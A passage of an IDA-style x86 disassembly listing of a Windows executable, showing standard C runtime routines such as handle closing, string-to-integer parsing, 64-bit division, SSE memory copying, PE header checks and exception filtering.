		test	byte ptr [eax+54h], 1
		jnz	short loc_414C92


loc_414C87:				; CODE XREF: sub_414C65+1Aj
		cmp	esi, 2
		jnz	short loc_414CA8
		test	byte ptr [eax+2Ch], 1
		jz	short loc_414CA8


loc_414C92:				; CODE XREF: sub_414C65+20j
		push	2
		call	sub_419E05
		push	1
		mov	edi, eax
		call	sub_419E05
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_414CC4


loc_414CA8:				; CODE XREF: sub_414C65+25j
					; sub_414C65+2Bj
		push	esi
		call	sub_419E05
		pop	ecx
		push	eax
		call	dword_41C0D4	; CloseHandle
		test	eax, eax
		jnz	short loc_414CC4
		call	dword_41C0A4	; RtlGetLastWin32Error
		mov	edi, eax
		jmp	short loc_414CC6
; ---------------------------------------------------------------------------


loc_414CC4:				; CODE XREF: sub_414C65+10j
					; sub_414C65+41j ...
		xor	edi, edi


loc_414CC6:				; CODE XREF: sub_414C65+5Dj
		push	esi
		call	sub_419D84
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		test	edi, edi
		mov	eax, dword_424EE0[eax*4]
		pop	ecx
		mov	byte ptr [eax+esi+4], 0
		jz	short loc_414CF4
		push	edi
		call	sub_40F7C4
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_414CF6
; ---------------------------------------------------------------------------


loc_414CF4:				; CODE XREF: sub_414C65+81j
		xor	eax, eax


loc_414CF6:				; CODE XREF: sub_414C65+8Dj
		pop	edi
		pop	esi
		retn
sub_414C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CF9	proc near		; CODE XREF: sub_40FD09+48p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_41FAF8
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_414D28
		call	sub_40F7B1
		and	dword ptr [eax], 0
		call	sub_40F79E
		mov	dword ptr [eax], 9


loc_414D20:				; CODE XREF: sub_414CF9+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_414DB6
; ---------------------------------------------------------------------------


loc_414D28:				; CODE XREF: sub_414CF9+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_414D36
		cmp	eax, dword_424EC8
		jb	short loc_414D57


loc_414D36:				; CODE XREF: sub_414CF9+33j
					; sub_414CF9+7Cj
		call	sub_40F7B1
		mov	[eax], edi
		call	sub_40F79E
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40DCD8
		add	esp, 14h
		jmp	short loc_414D20
; ---------------------------------------------------------------------------


loc_414D57:				; CODE XREF: sub_414CF9+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:424EE0h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_414D36
		push	eax
		call	sub_419E76
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_414D98
		push	[ebp+arg_0]
		call	sub_414C65
		pop	ecx
		mov	[ebp+var_1C], eax
		jmp	short loc_414DA7
; ---------------------------------------------------------------------------


loc_414D98:				; CODE XREF: sub_414CF9+8Fj
		call	sub_40F79E
		mov	dword ptr [eax], 9
		or	[ebp+var_1C], 0FFFFFFFFh


loc_414DA7:				; CODE XREF: sub_414CF9+9Dj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_414DBC
		mov	eax, [ebp+var_1C]


loc_414DB6:				; CODE XREF: sub_414CF9+2Aj
		call	__SEH_epilog4
		retn
sub_414CF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DBC	proc near		; CODE XREF: sub_414CF9+B5p
					; DATA XREF: .vty:0041FB10o
		push	dword ptr [ebp+8]
		call	sub_419F16
		pop	ecx
		retn
sub_414DBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DC6	proc near		; CODE XREF: sub_40FD09+3Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_414DF0
		test	al, 8
		jz	short loc_414DF0
		push	dword ptr [esi+8]
		call	sub_41112C
		and	dword ptr [esi+0Ch], 0FFFFFBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_414DF0:				; CODE XREF: sub_414DC6+Aj
					; sub_414DC6+Ej
		pop	esi
		retn
sub_414DC6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414E00	proc near		; CODE XREF: sub_40FDF8+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_414E22
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_414E63
; ---------------------------------------------------------------------------


loc_414E22:				; CODE XREF: sub_414E00+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_414E30:				; CODE XREF: sub_414E00+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_414E30
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_414E5E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_414E5E
		jb	short loc_414E5F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_414E5F


loc_414E5E:				; CODE XREF: sub_414E00+4Ej
					; sub_414E00+54j
		dec	esi


loc_414E5F:				; CODE XREF: sub_414E00+56j
					; sub_414E00+5Cj
		xor	edx, edx
		mov	eax, esi


loc_414E63:				; CODE XREF: sub_414E00+20j
		pop	esi
		pop	ebx
		retn	10h
sub_414E00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E68	proc near		; CODE XREF: sub_415093:loc_4150B2p

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_14]
		call	sub_40F7E2
		mov	eax, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_414E89
		mov	[eax], esi


loc_414E89:				; CODE XREF: sub_414E68+1Dj
		cmp	esi, edi
		jnz	short loc_414EB9


loc_414E8D:				; CODE XREF: sub_414E68+5Aj
					; sub_414E68+60j
		call	sub_40F79E
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		cmp	[ebp+var_8], 0
		jz	short loc_414EB2
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_414EB2:				; CODE XREF: sub_414E68+41j
		xor	eax, eax
		jmp	loc_41508F
; ---------------------------------------------------------------------------


loc_414EB9:				; CODE XREF: sub_414E68+23j
		cmp	[ebp+arg_C], edi
		jz	short loc_414ECA
		cmp	[ebp+arg_C], 2
		jl	short loc_414E8D
		cmp	[ebp+arg_C], 24h
		jg	short loc_414E8D


loc_414ECA:				; CODE XREF: sub_414E68+54j
		mov	ecx, [ebp+var_14]
		push	ebx
		mov	bl, [esi]
		mov	[ebp+var_4], edi
		lea	edi, [esi+1]


loc_414ED6:				; CODE XREF: sub_414E68+A5j
		cmp	dword ptr [ecx+0ACh], 1
		jle	short loc_414EF6
		lea	eax, [ebp+var_14]
		push	eax
		movzx	eax, bl
		push	8
		push	eax
		call	sub_4139CC
		mov	ecx, [ebp+var_14]
		add	esp, 0Ch
		jmp	short loc_414F06
; ---------------------------------------------------------------------------


loc_414EF6:				; CODE XREF: sub_414E68+75j
		mov	edx, [ecx+0C8h]
		movzx	eax, bl
		movzx	eax, byte ptr [edx+eax*2]
		and	eax, 8


loc_414F06:				; CODE XREF: sub_414E68+8Cj
		test	eax, eax
		jz	short loc_414F0F
		mov	bl, [edi]
		inc	edi
		jmp	short loc_414ED6
; ---------------------------------------------------------------------------


loc_414F0F:				; CODE XREF: sub_414E68+A0j
		cmp	bl, 2Dh
		jnz	short loc_414F1A
		or	[ebp+arg_10], 2
		jmp	short loc_414F1F
; ---------------------------------------------------------------------------


loc_414F1A:				; CODE XREF: sub_414E68+AAj
		cmp	bl, 2Bh
		jnz	short loc_414F22


loc_414F1F:				; CODE XREF: sub_414E68+B0j
		mov	bl, [edi]
		inc	edi


loc_414F22:				; CODE XREF: sub_414E68+B5j
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jl	loc_415076
		cmp	eax, 1
		jz	loc_415076
		cmp	eax, 24h
		jg	loc_415076
		test	eax, eax
		jnz	short loc_414F6D
		cmp	bl, 30h
		jz	short loc_414F51
		mov	[ebp+arg_C], 0Ah
		jmp	short loc_414F85
; ---------------------------------------------------------------------------


loc_414F51:				; CODE XREF: sub_414E68+DEj
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_414F64
		cmp	al, 58h
		jz	short loc_414F64
		mov	[ebp+arg_C], 8
		jmp	short loc_414F85
; ---------------------------------------------------------------------------


loc_414F64:				; CODE XREF: sub_414E68+EDj
					; sub_414E68+F1j
		mov	[ebp+arg_C], 10h
		jmp	short loc_414F77
; ---------------------------------------------------------------------------


loc_414F6D:				; CODE XREF: sub_414E68+D9j
		cmp	eax, 10h
		jnz	short loc_414F85
		cmp	bl, 30h
		jnz	short loc_414F85


loc_414F77:				; CODE XREF: sub_414E68+103j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_414F81
		cmp	al, 58h
		jnz	short loc_414F85


loc_414F81:				; CODE XREF: sub_414E68+113j
		inc	edi
		mov	bl, [edi]
		inc	edi


loc_414F85:				; CODE XREF: sub_414E68+E7j
					; sub_414E68+FAj ...
		mov	esi, [ecx+0C8h]
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_C]


loc_414F93:				; CODE XREF: sub_414E68+19Dj
		movzx	ecx, bl
		movzx	ecx, word ptr [esi+ecx*2]
		test	cl, 4
		jz	short loc_414FA7
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_414FC1
; ---------------------------------------------------------------------------


loc_414FA7:				; CODE XREF: sub_414E68+135j
		test	cx, 103h
		jz	short loc_414FDF
		mov	cl, bl
		sub	cl, 61h
		cmp	cl, 19h
		movsx	ecx, bl
		ja	short loc_414FBE
		sub	ecx, 20h


loc_414FBE:				; CODE XREF: sub_414E68+151j
		add	ecx, 0FFFFFFC9h


loc_414FC1:				; CODE XREF: sub_414E68+13Dj
		cmp	ecx, [ebp+arg_C]
		jnb	short loc_414FDF
		or	[ebp+arg_10], 8
		cmp	[ebp+var_4], eax
		jb	short loc_414FF6
		jnz	short loc_414FD5
		cmp	ecx, edx
		jbe	short loc_414FF6


loc_414FD5:				; CODE XREF: sub_414E68+167j
		or	[ebp+arg_10], 4
		cmp	[ebp+arg_8], 0
		jnz	short loc_415002


loc_414FDF:				; CODE XREF: sub_414E68+144j
					; sub_414E68+15Cj
		mov	eax, [ebp+arg_10]
		dec	edi
		test	al, 8
		jnz	short loc_415007
		cmp	[ebp+arg_8], 0
		jz	short loc_414FF0
		mov	edi, [ebp+arg_4]


loc_414FF0:				; CODE XREF: sub_414E68+183j
		and	[ebp+var_4], 0
		jmp	short loc_415052
; ---------------------------------------------------------------------------


loc_414FF6:				; CODE XREF: sub_414E68+165j
					; sub_414E68+16Bj
		mov	ebx, [ebp+var_4]
		imul	ebx, [ebp+arg_C]
		add	ebx, ecx
		mov	[ebp+var_4], ebx


loc_415002:				; CODE XREF: sub_414E68+175j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_414F93
; ---------------------------------------------------------------------------


loc_415007:				; CODE XREF: sub_414E68+17Dj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_41502B
		test	al, 1
		jnz	short loc_415052
		and	eax, 2
		jz	short loc_415022
		cmp	[ebp+var_4], 80000000h
		ja	short loc_41502B


loc_415022:				; CODE XREF: sub_414E68+1AFj
		test	eax, eax
		jnz	short loc_415052
		cmp	[ebp+var_4], esi
		jbe	short loc_415052


loc_41502B:				; CODE XREF: sub_414E68+1A6j
					; sub_414E68+1B8j
		call	sub_40F79E
		test	byte ptr [ebp+arg_10], 1
		mov	dword ptr [eax], 22h
		jz	short loc_415042
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_415052
; ---------------------------------------------------------------------------


loc_415042:				; CODE XREF: sub_414E68+1D2j
		mov	al, byte ptr [ebp+arg_10]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_4], eax


loc_415052:				; CODE XREF: sub_414E68+18Cj
					; sub_414E68+1AAj ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_41505B
		mov	[eax], edi


loc_41505B:				; CODE XREF: sub_414E68+1EFj
		test	byte ptr [ebp+arg_10], 2
		jz	short loc_415064
		neg	[ebp+var_4]


loc_415064:				; CODE XREF: sub_414E68+1F7j
		cmp	[ebp+var_8], 0
		jz	short loc_415071
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_415071:				; CODE XREF: sub_414E68+200j
		mov	eax, [ebp+var_4]
		jmp	short loc_41508E
; ---------------------------------------------------------------------------


loc_415076:				; CODE XREF: sub_414E68+BFj
					; sub_414E68+C8j ...
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_41507F
		mov	[eax], esi


loc_41507F:				; CODE XREF: sub_414E68+213j
		cmp	[ebp+var_8], 0
		jz	short loc_41508C
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_41508C:				; CODE XREF: sub_414E68+21Bj
		xor	eax, eax


loc_41508E:				; CODE XREF: sub_414E68+20Cj
		pop	ebx


loc_41508F:				; CODE XREF: sub_414E68+4Cj
		pop	edi
		pop	esi
		leave
		retn
sub_414E68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415093	proc near		; CODE XREF: sub_41002F+8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	dword_424424, eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		jnz	short loc_4150B1
		push	offset off_423898
		jmp	short loc_4150B2
; ---------------------------------------------------------------------------


loc_4150B1:				; CODE XREF: sub_415093+15j
		push	eax


loc_4150B2:				; CODE XREF: sub_415093+1Cj
		call	sub_414E68
		add	esp, 14h
		pop	ebp
		retn
sub_415093	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150BC	proc near		; CODE XREF: sub_415143+4Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], esi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		shr	ecx, 7
		jmp	short loc_4150DC
; ---------------------------------------------------------------------------
		db 8Dh,	9Bh, 4 dup(0)
; ---------------------------------------------------------------------------


loc_4150DC:				; CODE XREF: sub_4150BC+18j
					; sub_4150BC+7Bj
		movdqa	xmm0, oword ptr	[esi]
		movdqa	xmm1, oword ptr	[esi+10h]
		movdqa	xmm2, oword ptr	[esi+20h]
		movdqa	xmm3, oword ptr	[esi+30h]
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm1
		movdqa	oword ptr [edi+20h], xmm2
		movdqa	oword ptr [edi+30h], xmm3
		movdqa	xmm4, oword ptr	[esi+40h]
		movdqa	xmm5, oword ptr	[esi+50h]
		movdqa	xmm6, oword ptr	[esi+60h]
		movdqa	xmm7, oword ptr	[esi+70h]
		movdqa	oword ptr [edi+40h], xmm4
		movdqa	oword ptr [edi+50h], xmm5
		movdqa	oword ptr [edi+60h], xmm6
		movdqa	oword ptr [edi+70h], xmm7
		lea	esi, [esi+80h]
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_4150DC
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4150BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415143	proc near		; CODE XREF: sub_410050+42j
					; sub_410C50+42j ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], ebx
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cdq
		mov	ecx, eax
		mov	eax, [ebp+arg_0]
		xor	ecx, edx
		sub	ecx, edx
		and	ecx, 0Fh
		xor	ecx, edx
		sub	ecx, edx
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		mov	edx, ecx
		or	edx, edi
		jnz	short loc_4151C6
		mov	esi, [ebp+arg_8]
		mov	ecx, esi
		and	ecx, 7Fh
		mov	[ebp+var_18], ecx
		cmp	esi, ecx
		jz	short loc_41519E
		sub	esi, ecx
		push	esi
		push	ebx
		push	eax
		call	sub_4150BC
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]


loc_41519E:				; CODE XREF: sub_415143+46j
		test	ecx, ecx
		jz	short loc_415219
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		add	edx, ebx
		sub	edx, ecx
		mov	[ebp+var_14], edx
		add	ebx, eax
		sub	ebx, ecx
		mov	[ebp+var_10], ebx
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_18]
		rep movsb
		mov	eax, [ebp+arg_0]
		jmp	short loc_415219
; ---------------------------------------------------------------------------


loc_4151C6:				; CODE XREF: sub_415143+37j
		cmp	ecx, edi
		jnz	short loc_4151FF
		neg	ecx
		add	ecx, 10h
		mov	[ebp+var_1C], ecx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_1C]
		rep movsb
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_1C]
		push	eax
		push	edx
		push	ecx
		call	sub_415143
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		jmp	short loc_415219
; ---------------------------------------------------------------------------


loc_4151FF:				; CODE XREF: sub_415143+85j
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_0]


loc_415219:				; CODE XREF: sub_415143+5Dj
					; sub_415143+81j ...
		mov	ebx, [ebp+var_4]
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_415143	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415230	proc near		; CODE XREF: sub_4152A2+16p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	5A4Dh
		jz	short loc_41523E


loc_41523B:				; CODE XREF: sub_415230+19j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41523E:				; CODE XREF: sub_415230+9j
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	short loc_41523B
		xor	ecx, ecx
		cmp	word ptr [eax+18h], 10Bh
		setz	cl
		mov	eax, ecx
		retn
sub_415230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415260	proc near		; CODE XREF: sub_4152A2+27p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		movzx	eax, word ptr [ecx+14h]
		push	ebx
		push	esi
		movzx	esi, word ptr [ecx+6]
		xor	edx, edx
		test	esi, esi
		push	edi
		lea	eax, [eax+ecx+18h]
		jbe	short loc_41529C
		mov	edi, [esp+0Ch+arg_4]


loc_415282:				; CODE XREF: sub_415260+3Aj
		mov	ecx, [eax+0Ch]
		cmp	edi, ecx
		jb	short loc_415292
		mov	ebx, [eax+8]
		add	ebx, ecx
		cmp	edi, ebx
		jb	short loc_41529E


loc_415292:				; CODE XREF: sub_415260+27j
		add	edx, 1
		add	eax, 28h
		cmp	edx, esi
		jb	short loc_415282


loc_41529C:				; CODE XREF: sub_415260+1Cj
		xor	eax, eax


loc_41529E:				; CODE XREF: sub_415260+30j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_415260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152A2	proc near		; CODE XREF: sub_4103C5+Ep
					; .vty:004104A9p ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_41FB18
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		mov	edx, 400000h
		push	edx
		call	sub_415230
		pop	ecx
		test	eax, eax
		jz	short loc_4152FF
		mov	eax, [ebp+arg_0]
		sub	eax, edx
		push	eax
		push	edx
		call	sub_415260
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4152FF
		mov	eax, [eax+24h]
		shr	eax, 1Fh
		not	eax
		and	eax, 1
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		jmp	short loc_415308
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		xor	ecx, ecx
		cmp	eax, 0C0000005h
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]


loc_4152FF:				; CODE XREF: sub_4152A2+1Ej
					; sub_4152A2+30j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		xor	eax, eax


loc_415308:				; CODE XREF: sub_4152A2+44j
		call	__SEH_epilog4
		retn
sub_4152A2	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41530F	proc near		; CODE XREF: sub_4103C5+66p
					; .vty:0041076Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		call	sub_411F7A
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41532E
		push	[ebp+arg_4]
		call	dword_41C10C	; UnhandledExceptionFilter
		jmp	loc_41547B
; ---------------------------------------------------------------------------


loc_41532E:				; CODE XREF: sub_41530F+Fj
		mov	edx, [esi+5Ch]
		mov	eax, dword_423C64
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ecx, edx
		push	ebx


loc_41533D:				; CODE XREF: sub_41530F+3Ej
		cmp	[ecx], edi
		jz	short loc_41534F
		mov	ebx, eax
		imul	ebx, 0Ch
		add	ecx, 0Ch
		add	ebx, edx
		cmp	ecx, ebx
		jb	short loc_41533D


loc_41534F:				; CODE XREF: sub_41530F+30j
		imul	eax, 0Ch
		add	eax, edx
		cmp	ecx, eax
		jnb	short loc_415360
		cmp	[ecx], edi
		jnz	short loc_415360
		mov	eax, ecx
		jmp	short loc_415362
; ---------------------------------------------------------------------------


loc_415360:				; CODE XREF: sub_41530F+47j
					; sub_41530F+4Bj
		xor	eax, eax


loc_415362:				; CODE XREF: sub_41530F+4Fj
		test	eax, eax
		jz	short loc_415370
		mov	ebx, [eax+8]
		test	ebx, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41537E


loc_415370:				; CODE XREF: sub_41530F+55j
		push	[ebp+arg_4]
		call	dword_41C10C	; UnhandledExceptionFilter
		jmp	loc_415479
; ---------------------------------------------------------------------------


loc_41537E:				; CODE XREF: sub_41530F+5Fj
		cmp	ebx, 5
		jnz	short loc_41538F
		and	dword ptr [eax+8], 0
		xor	eax, eax
		inc	eax
		jmp	loc_415479
; ---------------------------------------------------------------------------


loc_41538F:				; CODE XREF: sub_41530F+72j
		cmp	ebx, 1
		jz	loc_415476
		mov	ecx, [esi+60h]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+arg_4]
		mov	[esi+60h], ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_415468
		mov	ecx, dword_423C58
		mov	edi, dword_423C5C
		mov	edx, ecx
		add	edi, ecx
		cmp	edx, edi
		jge	short loc_4153E8
		imul	ecx, 0Ch


loc_4153C7:				; CODE XREF: sub_41530F+D4j
		mov	edi, [esi+5Ch]
		and	dword ptr [ecx+edi+8], 0
		mov	edi, dword_423C58
		mov	ebx, dword_423C5C
		inc	edx
		add	ebx, edi
		add	ecx, 0Ch
		cmp	edx, ebx
		jl	short loc_4153C7
		mov	ebx, [ebp+var_4]


loc_4153E8:				; CODE XREF: sub_41530F+B3j
		mov	eax, [eax]
		cmp	eax, 0C000008Eh
		mov	edi, [esi+64h]
		jnz	short loc_4153FD
		mov	dword ptr [esi+64h], 83h
		jmp	short loc_41545B
; ---------------------------------------------------------------------------


loc_4153FD:				; CODE XREF: sub_41530F+E3j
		cmp	eax, 0C0000090h
		jnz	short loc_41540D
		mov	dword ptr [esi+64h], 81h
		jmp	short loc_41545B
; ---------------------------------------------------------------------------


loc_41540D:				; CODE XREF: sub_41530F+F3j
		cmp	eax, 0C0000091h
		jnz	short loc_41541D
		mov	dword ptr [esi+64h], 84h
		jmp	short loc_41545B
; ---------------------------------------------------------------------------


loc_41541D:				; CODE XREF: sub_41530F+103j
		cmp	eax, 0C0000093h
		jnz	short loc_41542D
		mov	dword ptr [esi+64h], 85h
		jmp	short loc_41545B
; ---------------------------------------------------------------------------


loc_41542D:				; CODE XREF: sub_41530F+113j
		cmp	eax, 0C000008Dh
		jnz	short loc_41543D
		mov	dword ptr [esi+64h], 82h
		jmp	short loc_41545B
; ---------------------------------------------------------------------------


loc_41543D:				; CODE XREF: sub_41530F+123j
		cmp	eax, 0C000008Fh
		jnz	short loc_41544D
		mov	dword ptr [esi+64h], 86h
		jmp	short loc_41545B
; ---------------------------------------------------------------------------


loc_41544D:				; CODE XREF: sub_41530F+133j
		cmp	eax, 0C0000092h
		jnz	short loc_41545B
		mov	dword ptr [esi+64h], 8Ah


loc_41545B:				; CODE XREF: sub_41530F+ECj
					; sub_41530F+FCj ...
		push	dword ptr [esi+64h]
		push	8
		call	ebx
		pop	ecx
		mov	[esi+64h], edi
		jmp	short loc_41546F
; ---------------------------------------------------------------------------


loc_415468:				; CODE XREF: sub_41530F+9Bj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx


loc_41546F:				; CODE XREF: sub_41530F+157j
		mov	eax, [ebp+var_8]
		pop	ecx
		mov	[esi+60h], eax


loc_415476:				; CODE XREF: sub_41530F+83j
		or	eax, 0FFFFFFFFh


loc_415479:				; CODE XREF: sub_41530F+6Aj
					; sub_41530F+7Bj
		pop	ebx
		pop	edi


loc_41547B:				; CODE XREF: sub_41530F+1Aj
		pop	esi
		leave
		retn
sub_41530F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41547E	proc near		; CODE XREF: sub_4107B2:loc_410728p
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_42601C, edi
		jnz	short loc_41548F
		call	sub_413264


loc_41548F:				; CODE XREF: sub_41547E+Aj
		mov	esi, dword_426028
		test	esi, esi
		jnz	short loc_41549E
		mov	esi, offset dword_41E020


loc_41549E:				; CODE XREF: sub_41547E+19j
					; sub_41547E+4Bj
		mov	al, [esi]
		cmp	al, 20h
		ja	short loc_4154AC
		test	al, al
		jz	short loc_4154D6
		test	edi, edi
		jz	short loc_4154D0


loc_4154AC:				; CODE XREF: sub_41547E+24j
		cmp	al, 22h
		jnz	short loc_4154B9
		xor	ecx, ecx
		test	edi, edi
		setz	cl
		mov	edi, ecx


loc_4154B9:				; CODE XREF: sub_41547E+30j
		movzx	eax, al
		push	eax
		call	sub_41A245
		test	eax, eax
